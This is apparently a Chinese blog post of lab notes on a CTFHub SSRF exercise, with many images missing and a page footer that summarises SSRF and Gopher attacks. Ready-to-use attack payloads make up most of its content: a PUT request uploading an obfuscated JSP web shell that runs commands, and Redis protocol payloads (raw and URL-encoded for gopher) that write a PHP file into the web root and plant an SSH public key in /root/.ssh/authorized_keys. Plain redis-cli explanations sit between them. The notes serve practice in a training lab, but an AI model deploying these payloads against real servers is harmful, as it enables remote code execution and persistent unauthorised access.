这条命令可以为你提供一个关于数据库安全相关配置的快照,这些配置决定了数据库的安全性能表现。记住这个命令,就像记住家里常用的安全检查清单一样,定期查看这些设置,确保你的数据库安全配置是按照最佳实践来设置的。

[外链图片转存中…(img-QA5U04eJ-1722351849190)]

无值可写

[外链图片转存中…(img-yxK1uypl-1722351849190)]

[外链图片转存中…(img-Uys7rViu-1722351849191)]

[外链图片转存中…(img-5Pev2ser-1722351849191)]

[外链图片转存中…(img-UiYmL90Q-1722351849192)]

poc

PUT /shell.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 890

<% String Ae8db = request.getParameter("1"); if(Ae8db!=null){Class<?> Ch7d = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));java.lang.reflect.Method ED1oDQj3 = Ch7d.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);Object G648X8DM = ED1oDQj3.invoke( Ch7d.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{Ae8db});java.lang.reflect.Method QDbW = G648X8DM.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));QDbW.setAccessible(true);java.util.Scanner s = new java.util.Scanner((java.io.InputStream) QDbW.invoke(G648X8DM, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";out.print("<pre>");out.print(result);out.print("</pre>");}else{} %>

[外链图片转存中…(img-wbSTDiRp-1722351849192)]

[外链图片转存中…(img-XpuY20Mv-1722351849193)]

poc

config set dir /var/www/html/
config set dbfilename phpinfo.php
set payload "<?php phpinfo();?>"
save
quit
//类似sql的堆栈注入
手动构造 redis tcp 数据流

*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$10
dbfilename
$11
phpinfo.php
*3
$3
set
$7
payload
$20
"<?php phpinfo();?>"
*1
$4
save
*1
$4
quit

[外链图片转存中…(img-YPfvrkLI-1722351849193)]

poc

*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$3%0d%0Adir%0d%0A$14%0d%0A/var/www/html/%0d%0A*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$10%0d%0Adbfilename%0d%0A$11%0d%0Aphpinfo.php%0d%0A*3%0d%0A$3%0d%0Aset%0d%0A$7%0d%0Apayload%0d%0A$20%0d%0A"<%3Fphp phpinfo();%3F>"%0d%0A*1%0d%0A$4%0d%0Asave%0d%0A*1%0d%0A$4%0d%0Aquit

redis-cli 是 Redis 的命令行接口,用于与 Redis 服务器进行交互。该命令后面常常跟一系列参数来指定如何连接到 Redis 服务器。

当你执行命令 redis-cli -h 127.0.0.1

  • redis-cli 是启动 Redis 命令行接口的命令。
  • h 参数用于指定 Redis 服务器的主机名或 IP 地址。
  • 127.0.0.1 是一个特殊的 IP 地址,表示本机地址(localhost),也就是说这条命令指示 redis-cli 连接到本机上运行的 Redis 服务器。

执行这条命令后,如果 Redis 服务器在你的本机上运行并且监听默认端口(6379),redis-cli 将连接到这个 Redis 服务器,随后你可以输入各种 Redis 命令来操作数据库。

如果 Redis 服务器设置了不同的端口或者需要密码认证,你可以用 -p 参数来指定端口,用 -a 参数后跟密码来进行认证,例如:

  • 指定端口:redis-cli -h 127.0.0.1 -p 6380
  • 指定密码:redis-cli -h 127.0.0.1 -a yourpassword

记住,使用 redis-cli 时,确保你的 Redis 服务器正在运行,并且你的用户账户有足够的权限连接到 Redis 服务器。

[外链图片转存中…(img-jRjG85wu-1722351849194)]

[外链图片转存中…(img-cOvxqelx-1722351849194)]

[外链图片转存中…(img-V8c9Sjx5-1722351849194)]

判断是否未授权

[外链图片转存中…(img-dT6MbPPn-1722351849195)]

dict://ip/info

[外链图片转存中…(img-4ezSo5Kt-1722351849195)]

替换换行 %0d%0A (代表编码一次)

问号url编码 %3F

[外链图片转存中…(img-lyEd77GN-1722351849196)]

[外链图片转存中…(img-rifFRrYx-1722351849196)]

[外链图片转存中…(img-yikpt2xb-1722351849197)]

[外链图片转存中…(img-jtMnryic-1722351849197)]

poc

ssh-keygen -t rsa

[外链图片转存中…(img-nQiPaPoE-1722351849198)]

authorized_keys

[外链图片转存中…(img-aGSpJ0Zo-1722351849198)]

这里换行为一个字符 不用notepad+选取(两个字符,原因两个CRLF)

[外链图片转存中…(img-1uYFFShU-1722351849198)]

要清空 Redis 中的配置项,通常并没有直接的命令可以重置所有的配置为默认值。不过,你可以重启 Redis 服务来实现这一点,因为在 Redis 服务器启动时,它会从配置文件 redis.conf 加载配置项,而不是从内存中持久化的配置状态。

如果你想重置某个特定的配置项到它的默认值,你可以使用 CONFIG SET 命令,并指定相应的默认值。比如,如果你要重置 maxmemory 配置项到默认值,你可以根据它的默认值来设置(假设默认值是0,表示不限制内存使用):

CONFIG SET maxmemory 0

这个命令实际上是改变了当前运行的 Redis 服务器的配置项,但并不会影响 redis.conf 文件中的设置。在下一次重启 Redis 服务器时,配置项仍然会从 redis.conf 文件中加载。

如果你真的想从 redis.conf 文件中删除所有的配置设置,你需要手动编辑该文件,将其内容恢复到默认状态。默认的配置文件通常可以在 Redis 的源码目录中找到,或者你可以从 Redis 的官方网站或仓库中获取。

请注意,直接编辑配置文件或者清空配置项可能会影响 Redis 服务器的正常运行。在操作之前,请确保对配置文件和 Redis 服务的操作有适当的了解,并始终备份原有的配置文件,以便在出现问题时可以恢复。

另外,请确保处理完后重新加载配置或重启 Redis 服务,以使更改生效。重新加载配置文件的命令通常是:

redis-cli CONFIG REWRITE //重写config

此命令会将当前服务器的配置重写到配置文件中。如果你需要完全恢复默认配置,那么重启 Redis 服务可能是最简单的选择。这可以通过你的系统服务管理器完成,通常是使用 systemctlservice 命令,例如:

# 使用 systemctl(通常是较新的系统如 CentOS 7+ 或 Ubuntu 16.04+)
sudo systemctl restart redis

# 使用 service 命令(较旧的系统)
sudo service redis restart

在任何操作之后,都可以使用 INFO 命令或 CONFIG GET 命令检查配置项的当前状态,以确保配置已按照预期更新。

poc

*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
$568

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcuZRdMdqIdV+7OwfFaiQMERu3rMCVYP8KaKUhkLCeLoNDYFObLmo8pTWZ38qn2cHK8AtZjWAHLJYfJYIRWIFrMsuc9SNahXLo2ldaiv3KPGQvR/582q+yFztmnVDqB6LpVdA9Pi11XNexCFr5vXPnzGwJOMisPD1+wOdMWx7sN+9PECVmXHvJLLK79YiBE5IadnU7N+VOCkZkDkg4Mgzbq6h8KZgdihb9D8a8vc77U5jI2iUftuqlkGQm6TU7aCMehXxSseJT4HZpGNtj/gtrY9YACv5X3RGuaWm/bJW1iWtckAZEaYe4IccbqybP3VANV6qXE3RvsBmIXeVaVtnwXaNgfY75cfAoKO3EMRZrKOZGqK5baPsSUF1LJfPzjjkmZNFSPTo3vpO9ZUrx6/DoVd6J7DEhcWqB18BSeY2029/Hk64TKnDd1s1KAuo801nxzj1JUD/xFeHr2szPnlJrk5oldQH5KYBqWbG7YgiprwQe2zHpFGnA26WDcp/AK3U= kali@kali

*1
$4
save
*1
$4
quit

[外链图片转存中…(img-Y4WwkVdo-1722351849199)]

[外链图片转存中…(img-RZyMR6NW-1722351849199)]

[外链图片转存中…(img-uxGo3AGU-1722351849200)]

[外链图片转存中…(img-q8D3U6XH-1722351849200)]

在类Unix操作系统中,crontab(来自"cron table"的缩写)是一种用于定时任务调度的工具,它允许用户安排在指定时间自动执行任务的计划。cron是一个守护进程,它在后台运行,周期性地检查/etc/crontab文件、/etc/cron.*目录和用户的crontab文件。

[外链图片转存中…(img-0g8hxVUO-1722351849200)]

[外链图片转存中…(img-c6B1rc48-1722351849201)]

定时任务,等一下

  • 58
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfhub是一个CTF训练平台,提供了多个CTF挑战模块,其中包括了SSRF模块。SSRF(Server-Side Request Forgery)是一种攻击技术,可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中,你可以学习和实践SSRF攻击技术,并利用平台上提供的漏洞来进行实验。 在SSRF中,有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测,访问位于127.0.0.1的flag.php文件,从而获取敏感信息。 此外,在SSRF中还可以使用Gopher协议来攻击内网的服务,例如Redis、Mysql、FastCGI、Ftp等等,并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油,大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场,以及总结的思维导图和笔记](https://download.csdn.net/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值